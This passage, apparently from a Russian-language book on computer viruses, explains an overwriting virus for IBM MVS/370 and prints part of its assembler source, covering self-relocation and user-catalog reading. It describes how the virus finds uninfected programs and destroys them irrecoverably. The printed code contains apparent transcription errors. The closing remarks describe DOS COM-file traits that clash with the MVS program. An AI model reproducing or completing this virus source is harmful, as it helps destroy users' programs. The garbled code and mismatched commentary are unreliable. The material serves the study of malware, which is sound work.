рах серии IBM 30хх и об операционной системе MVS/370, поскольку
программа, используемая здесь в качестве объекта для демонстрации
работы компьютерных вирусов, написана на ассемблере OS/VS2 и
отлажена на этом компьютере. И хотя речь идет только о "тестовой
" версии вируса, при постановке программы должны непременно соб-
людаться следующие условия:
"Перенос распечатки на устройства электронной обработки
данных, опубликование их с использованием других носителей инфор-
мации, а также внесение в распечатку каких-либо изменений катего-
рически запрещено! В случае несоблюдения этого условия автор
сохраняет за собой право донесения за совершенное преступление.
Если сгенерирована работоспособная версия программы, установлен-
ная на ЭВМ, совершивший несет уголовное ответственность по
статьям N 303а, б (компьютерный саботаж), предусматривающим также
выплату штрафа".
Опубликование программы преследует исключительно научные
цели. Для того, чтобы понять принцип работы программы, записывать
ее в память ЭВМ или прогонять на ЭВМ совершенно необязательно;
распечатка исходных кодов программы вполне позволяет понять прин-
цип работы программы-вируса.
Эта программа является перезаписывающим вирусом, т.е. расп-
ространение вируса происходит путем замены исходных кодов кодами
программы-вируса. После "внедрения" вируса в программу она уже
состоит исключительно из программы-вируса, хотя и носит имя преж-
ней программы.
Если вызвать инфицированную таким образом программу, вирус
запускается вновь и может "заразить " ее и другую программу. Но
затребованную пользователем программу уже нельзя выполнить, пос-
кольку она перезаписана. Поскольку каждая зараженная программа
из-за вируса утрачивает свою работоспособность, этот вирус легко
обнаружить, но тем не менее он остается чрезвычайно опасным: все
инфицированные программы оказываются утраченными для пользовате-
ля, восстановить первоначальную программу невозможно! Вызываемый
вирусом ущерб может быть чрезвычайно большим, даже если во время
пребывания вируса в системе относительно мало.
Для того, чтобы рассмотреть принцип действия компьютерного
вируса предположим, что мы вызвали зараженную этим вирусом прог-
рамму, т.е. что сам вирус вызван для исполнения.
- 195 -
После того, как операционная система передаст управление
программе-вирусу, программный модуль выполняет самонастройку. Та
настройка, которую для обычных программ выполняет загрузчик, в
нашем случае оказывается недостаточной, чтобы после загрузки
получить полностью готовую к исполнению форму. Это будет понят-
ным, если рассмотреть процесс распространения инфекции.
Затем программа считывает текущий каталог пользователя,
используя работу с разделением времени. В программе запрашивается
только каталог со спецификациями "U.uid", чтобы ограничить расп-
ространение вируса только одним уровнем. Отсюда ясно, что вирус
может поражать только программы, к которым он имеет вполне лега-
льный доступ (собственные программы). В заключение каталог прос-
матривается на наличие файлов с организацией РО (пораздельная
организация), так как только такие файлы могут содержать исполня-
емые модули. Если файл с организацией РО найден, сначала считыва-
ются соответствующие элементы каталога. По этому списку подката-
логов определяется, идет ли речь о данных или исполняемых програ-
ммах для соответствующих элементов. Если элемент каталога соответ-
ствует программе, считывается длина программы, которая сравнива-
ется с длиной программы-вируса. При одинаковой длине вирус счита-
ет, что программа уже инфицирована, и обращается к следующей
записи каталога. Если среди файлов с РО-организацией нет программ
или есть только инфицированные программы, ищется следующий файл с
организацией РО в каталоге. Если каталог отработан, программа на
уровне пользователя нет или же уже все программы поражены
вирусом. В противном случае вирус внедряется в первую же "неза-
раженную программу" данного уровня.
Внедрение вируса осуществляется благодаря тому, что вирус
открывает "заражаемый" файл на запись. Программа выбирает необхо-
димые для этого записи, составляющие работоспособную программу,
такие как TSD (словарь внешних символов), записи заголовков и RLD
(таблица настройки) из таблиц и записывает их в файл. Когда все
записи записаны, файл закрывается и запись в каталоге элементов
переводится в новое состояние. Но прежде, наряду с теми записями,
которые вирус может сгенерировать из таблиц, в файл записывается
и управляющая запись, которая в оперативной памяти для
исполнения. передается в виде записи. При такой самонастройке,
которая составляет значительную часть программы-вируса, коды
записываются на диск приспособленными к текущему адресу загрузки.
- 196 -
Поэтому написанная таким образом программа может позднее загружа-
ться загрузчиком операционной системы, но поскольку перед вызо-
вом загруженной программы она приспосабливается к новому адресу
загрузки, все перемещаемые адреса оказываются неверными. Для
того, чтобы корректно связать эти адреса с новым адресом загруз-
ки, необходима уже упоминавшаяся самонастройка вируса, которая
отменяет имевшуюся на диске настройку кодов.
Если файл инфицирован, или если программа не найдена или
если уже все программы заражены вирусом, вирус передает управле-
ние стандартной программе, которая обеспечивает вирусу выполнение
некоторой специальной функции. В нашем демонстрационном вирусе
такой подпрограммы для выполнения определенных манипуляций не
встроено; возможной задачей вируса может быть уничтожение всех
данных пользователя на определенную дату и т.д.
При выполнении указанной функции вируса выполнение программы
завершается; управление передается вызывающей программе или опе-
рационной системе.
Более подробную информацию, необходимую для анализа програм-
мы, Вы найдете в подробных комментариях к распечатке программы.
Приведем выдержку из названной программы:
*****************************************************************
* х x xxx xxxxx x x xxxx на ЭВМ IBM 3090, *
* х x x x x x x x работающей под *
* x x x x x x x x управлением ОС *
* x x x xxxx x x xxxx MVS/370 *
* x x x x x x x x *
* xx xxx x xx xxxx xxxxx *
* Version 1,No Release !! (p) & (c) foxi, April 1987 *
* ВНИМАНИЕ! *
* Ассемблирование, компоновка и выполнение программы с целью *
* внедрения ее в компьютерную систему может повлечь за собой *
* уголовную ответственность по статьям N 303а StGB(компьютерный)*
* саботаж)!!! Эта программа служит исключительно для исследова-*
* тельских целей, а именно для изучения опасности, которую не- *
* сут для ЭВМ компьютерные вирусы. Распрoстранение программы, *
* изготовленние работоспособной версии или модификация исход- *
* ной программы без уведомления автора и его (письменного) сог-*
* ласия недопустимы. В случае нарушения этого условия автор *
* сохраняет за собой право донесения за совершенное престу- *
- 197 -
* пление. Письменное согласие автора может быть получено лишь *
* при указании причин, побудивших к распространению, испол- *
* нению или модификации программы. *
****************************************************************
*
*
START
VIRUS CSECT
*
*
* Сохранить регистры и "связать"
* области сохранения
*---------------------------------------
*
STM R14,R12,12(R13)
LR R12,R15
USING VIRUS,R12
LR R2,R13
LA R13,SAVE
ST R2,4(R13)
ST R13,8(R2)
B COHT$0
SAVE DS 18F Область сохранения
BASE DC F'0' Базовый адрес для
настройки
********************************************************
*
* Самонастройка модуля
*
*********************************************************
*
CONT$0 LA R2,RLDINFO Адрес таблицы настройки
$16 L R1,0(R2) Выбрать первый адрес...
LA R1,0(R1) ...и вычислить в модуле
AR R1,R12 адрес, используя 3 байта.
CLI 0(R2),X'0D' Длина адреса =4 байта?
BE $17 Да:--->
- 198 -
BCTR R1,0 Сдвиг назад на 1 байт
$17 ICM R3,15,0(R1) Выбрать значение, записан-
S R3,BASE ное в 4 байтах, вычесть ста-
STCM R3,15,0(R1) рый базовый адрес и записать
обратно.
LA R2,4(R2) Адресовать следующую
информацию
CLI 0(R2),X'00' Больше нет?
BNE $16 Нет :---> настройка* ...
ST R12,BASE Запомнить теперешнюю базу
HVC DATEI(96),DSAVE DСB установить на нуль
*********************************************************
* Каталог используемых операций чтения
*********************************************************
*
* Установка текущего идентификатора пользователя
*--------------------------------------------------
*
L R1,540
L R1,I2(R1)
MVC FSPEC+2(3),0(R1) Запись в каталог
*
* Считать каталог пользователя для уровня U.UID
*
L R0,CATLEN Подготовка места в памяти
GETMAIN R,LV=(R0) для размешения
ST R1,CATADDR каталога
MVC 0(2,R1),=X'7FFF' (32 Кбайта)
LA R1,PARAM Параметры программы работы
LINK EPLOC=CATROUT с каталогом. Каталог можно
считать
B CONT$1
*
*
* Блок параметров для процедуры с каталогом
*
*
CATROUT DC CL8'IKJEHCIR'
- 199 -
FSPEC DC C'U.???',83C' '
* Блок параметров
DS OF
PARAM DC X'02000000'
DC A(FSPEC) Адрес FSPEC
DC F'0'
CATADDR DC A(0) Адрес каталога
DC A'0'
CATLEN DC F'32768' Длина каталога
LTORG
---------------------------------------------------------------
Конец распечатки VP/370
---------------------------------------------------------------
К этой программе, которую переслал нам автор из Австрии,
следует сделать несколько замечаний. Речь идет о перезаписывающем
вирусе, отличительная особенность которого заключается в том, что
значение времени создания файла устанавливается на 62 секунды
(обычно это незаметно, поскольку " секундная" область на экран не
выводится, но тем не менее "секундное" значение времени существу-
ет).
Кроме того, вирусом "поражаются " лишь СОМ-файлы, находящи-
еся внутри определенного с помощью PATH пути доступа к файлу.
Реконструирование программы-носителя достигается не путем смеще-
ния кодов программы-вируса, а в результате установки соответству-
ющей точки входа на 100Н.
Особо "коварной" является встраиваемая задача на выполнение
манипуляций, разрушающая первые пять байтов исходной программы.